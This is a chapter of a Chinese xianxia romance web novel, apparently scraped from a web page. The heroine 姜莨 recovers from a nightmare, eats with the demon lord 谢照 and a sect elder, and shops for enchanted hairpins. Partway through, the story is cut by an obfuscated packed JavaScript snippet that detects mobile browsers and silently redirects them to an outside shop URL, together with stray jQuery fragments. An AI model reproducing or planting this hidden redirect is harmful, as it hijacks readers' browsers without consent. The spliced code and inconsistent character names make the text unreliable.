无声寂静的客栈房内,被子“咣当”一声掉在了地上。
姜莨猛然睁开眼睛,直坐起身,惊魂未定,情绪还留在刚才的梦中。
梦里那样真实,仿佛亲身经历,临死前的恐惧更是在脑海中挥之不去。
现在回想起来还一阵心悸。
她喉咙滚动,平复呼吸,才发现自己出了一身大汗。
大开的窗户吹进来些许凉风,透进略湿的衣裳,竟然生出一点冷意。
不过很快,柔软的被子就搭了上来。
姜莨看向床前那抹黑影,眼睫颤了颤。
谢照看出情况不对,问她:“怎么了?”
姜莨捏着被角往上提,大半身体被包裹住,才有了点安全感。
她抬头看谢照。
谢照眉眼淡淡,环手站在床边,脸上没有表情,一双好看的眼睛里也没有杀意,只是凝视着她。
大梦恍若初醒。
姜莨松了口气,身体没有刚才紧绷,但脸色依然难看:“我做了个梦。”
“梦?”谢照挑眉,饶有兴趣道:“梦见了什么?”
除了第一次见她时,他还是第二次看她如此惊惧的表情。
姜莨也不知道怎么说,想了想,对上他探究的目光,轻声出口道:“梦见了,你。”
“呵——”
一声轻笑从喉间滚出,谢照唇角微扬,“所以把你吓成这样?”
姜莨点了点头。
虽然有些丢脸,不过这的确是事实。
谢照觉得好笑,他拨开她的袖口,同时自己手心朝上和她并排放在一起。
腕间印记红似血滴,无比晃眼。
姜莨明白他的用意,只要两人还绑定生死,那么魔头不仅不能杀她,还得好好保护她。
她讪讪抽回手。
转眸瞬间,这才注意到房间内,还有一人。
在屋里桌旁,华轻游正支着头,伸长脖子,一脸幽怨地瞪着他们。
面面相觑一会儿后,姜莨转头问:“他怎么在这儿?”
不过说完她就想起来了,在燕尾楼时,华轻游是和谢照一道来救她的。
但谢照也肯让他继续留在此处?
不怕暴露他的身份?
她的眼神在两人间徘徊。
华轻游始终没有说话,急得都快拍桌子了,谢照才慢慢解释道:“他担心你,但我嫌他太吵了,施了禁言。”
姜莨投去同情的目光,朝谢照道:“能帮他解开吗?”
倒不是什么大事,谢照:“可以。”
他指尖一动,华轻游嘴角抽了两下,猛咳一声。
但在魔头威慑力下,他这声只出来一半,还有一半又活生生咽了回去。
真是憋屈,但偏偏又什么都做不了。
他咬了咬牙,把目光转向姜莨,刚才还凶狠的眼神,变得柔和不少。
不过碍于魔头,他不敢走得太近,离床边远远地看着。
姜莨哭笑不得,拿出那支扇骨递给他,“多谢。”
叶轻游知道她客气,其实最后救人的是谢照,他没帮上什么忙。
“我们两个还说这些。”
他看着姜莨笑,一双桃花眼最有感染力,不知迷倒了多少女修,姜莨也忍不住唇角弯了弯。
叶轻游见她没有像之前那样抗拒自己,期待着问:“那我们算和好了?”
一场生死与共,况且当年的事,他不是有心的,姜莨点头道:“嗯。”
叶轻游听到自己想要的答案,脸上的笑容更深,眉间阴霾全散,就连魔头谢照也忘在了脑后。
既然恢复了朋友关系,那是不是意味着自己还有机会?
一看他得意忘形,姜莨怕他多想,及时打住:“但只是朋友,其他免谈。”
叶轻游嘴角一下子瘪下来了,“为什么?”
姜莨严肃道:“你说呢?”
叶轻游耷拉着眉眼,不服气又不得不同意。
他了解姜莨倔强的性子,认定了的事绝不轻易更改,颇为伤感道:“好吧。”
然后默默把扇骨收了回去。
谢照在一旁看了一出好戏,看向叶轻游的眼神渐有深意。
堂堂合欢宗的长老,居然分不清男女感情。
眼睛里分明没有丝毫情意,也敢学人家求爱道侣。
真是可笑。
怪不得合欢宗日渐没落,门下弟子都沦落到去给别人当走狗了。
不过他不会有丝毫同情。
谢照吩咐道:“你去楼下叫些饭菜上来,要清淡点的。”
华轻游听到这话时一愣。
从来只有他命令别人的份,还没人敢指使他的。
不过他很快反应过来,魔头应该是给姜莨点的。
从昨晚到现在,魔头就没喝过一口水,哪还需要吃饭。
不过魔头居然会照顾姜莨?
想起仙门近日传闻,难道两人真的是那种关系?
华轻游抵着下巴出神,但很快,体内就传来锥心的痛。
他闷哼一声,靠着墙没倒下,看起来很难受。
姜莨连忙问:“你怎么了?”
谢照冷笑,“他耳朵不太好。”
姜莨:“?”这像耳朵痛?
她翻身下床,却被谢照拦住,他道:“还没听见吗?”
华轻游冷汗直冒,牙齿都在打架,“听,听见了。”
魔头在他体内放了魔气,他不敢不从,麻溜下楼。
谢照恶劣笑了笑,还在轻声威胁:“速度快点,不然刮花你的脸。”
姜莨现在还有什么不明白的,推了推他,“行了,别折磨他了。”
谢照其实早就收了手,不过吓一下他。
姜莨不知道他打的什么主意,见人离开,忍不住问:“你留下他,不怕暴露我们行踪吗?”
谢照偏头对上她的目光:“要给你疗伤的灵草就在合欢宗内,他还有用,所以这几天,他得跟着我们。”
姜莨才想起他们来春帆城的目的。
不过不急于一时,她掀开被子下床。
此刻正午,阳光落进房间,远处偶尔传来清脆的鸟鸣声。
她走到窗边,暖了暖身子。
没一会儿,叶轻游回来了。
门大开,伙计端着大盘小盘的菜肴依次放在桌上。
“仙长,菜齐了。”
姜莨瞥了一眼,都是她爱吃的。
叶轻游邀功似的挑眉,“怎么样,够意思吧。”
姜莨笑了笑,“难得你还记得。”
两人一来一回,倒是很默契。
但看着莫名刺眼。
谢照走过去,挡住他们交汇的视线,拉着姜莨坐下:“还不快吃。”
确实有些饿了。
刚才还不觉得,现在闻到饭菜香味,把食欲都勾起来了。
姜莨收了笑,先盛了一碗小米粥。
叶轻游见势也坐,他出的钱出的力,不吃白不吃。
不过他不敢靠近魔头,选了个最远的位置。
他拿起筷子,给姜总夹了一块鱼肉。
手都伸出去了,却猝不及防,被另外一双筷子打落。
鱼肉落在桌上,叶轻游察觉到谢照阴恻恻的目光,感觉体内魔气又要开始躁动,倒吸一口凉气。
关键时刻,还是姜莨出来解围。
她对叶轻游道:“我自己来,自己来,不用照顾我,我没事。”
而后夹了一只鸡腿放谢照碗中,对他道:“这鸡肉很嫩,你尝尝。”
谢照没再说什么,收回眼神,继续端坐。
姜莨陪着笑了笑,见他没事了,又对叶轻游使了使眼神,让他小心点。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371988|199955||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叶轻游领会她的意思,就算心里极度不忿,也没再敢往她那边动筷。
明月楼的菜肴全春帆城最有名,但此刻嚼在嘴中,有些变味。
他的目光一直低着,却老忍不住往对面两个人身上瞟。
谢照没动鸡腿,只尝了点其他的菜。
姜莨也是自顾自的,根本没注意过谢照。
所以,他们之间,到底是什么关系?
既不像道侣,也不像敌人,更不像朋友。
他一个合欢宗的,还看不懂了?
叶轻游百思不得其解。
午饭后,姜莨打算出去买点防身的灵器。
经过前两次的事,乾坤袋中备的用得差不多了。
毕竟不是每次遇到危险,谢照都能及时出现。
姜莨本以为他不会同意,得求好一会儿,却没想到谢照一口答应:“可以。不过我要跟你一起去。”
姜莨没意见:“好吧。”
时隔几天,街边叫卖声此起彼伏,人群络绎不绝,和之前进城时的景象如出一辙。
只不过,这次不再是他们两个人。
叶轻游也来了。
他一个人在客栈无聊,宁愿帮忙付钱,也要求姜莨带着他。
谢照意外没拒绝,只是威胁他别乱说话。
三人一排走在街边,无疑惹了很多探究的目光。
谢照为了避免麻烦,和之前一样,直接握住姜莨的手,快步越过人群。
叶轻游看见这种行为的时候,先是吃了一惊,然后就被他们落在身后,被人拦了一次又一次。
他烦闷地让那些人走开,紧着步子赶上去,最后在一家店铺门口,追到了两人。
姜莨见他来了,拉着谢照进去。
店里清净很多,进去后她抽回手,活动了下腕骨。
刚才被捏得有些紧,手都麻了。
谢照注意到她的动作,五指回握一下,似乎还能感受到刚才的柔软触感。
说不上来什么感受。
他皱了皱眉,对姜莨道:“去挑几个好的,明日便上山。”
姜莨没多想,回了一声“哦”。
转而看向店内,才知道,这家店铺不仅是卖灵器这么简单。
法衣,首饰,黄符,灵剑等应有尽有。
每一层楼划分区域,共有5层。
姜莨看花了眼。
“想不到春帆城里还有这种地方。”
“那是。”叶轻游道:“这可是城内最有名的灵器铺,看来魔,咳,谢照,还挺识货的。”
姜莨倒觉得这是偶然。
刚才路上这么多人,谢照不过想躲个清净。
姜莨不管他目的是什么,她沉浸在灵器库中,挑中的都让叶轻游先帮忙拿着。
但在一处柜前,却有些犯难。
她迟迟没动,就连谢照也发现了。
他抬脚上前,发现姜莨手里拿着两只注了术法的簪子。
品级还不低。
“怎么了?”他问。
姜莨道:“我在看要哪个。”
叶轻游已经出谋划策一会儿了,又开始道:“金色的更好看,做工更好,而且材质更贵。”
姜莨犹豫不定。
“蓝色那支。”
声音从耳后传来,有种穿透人心的感觉。
姜莨转头问:“为什么?”
谢照说:“蓝色的术法更强,而且——”
他扫了她一眼,“你皮肤白,蓝色更衬你。”
这话不像魔头能说出来的,姜莨眼睛一眨不眨盯着他。
谢照回望她,察觉她异样的情绪,没有任何解释。
他觉得他说得没什么不对。
每一次姜莨受伤,鲜红的血液滴在她身上,都显得格外艳丽。
让人,有种想要摧毁的冲动。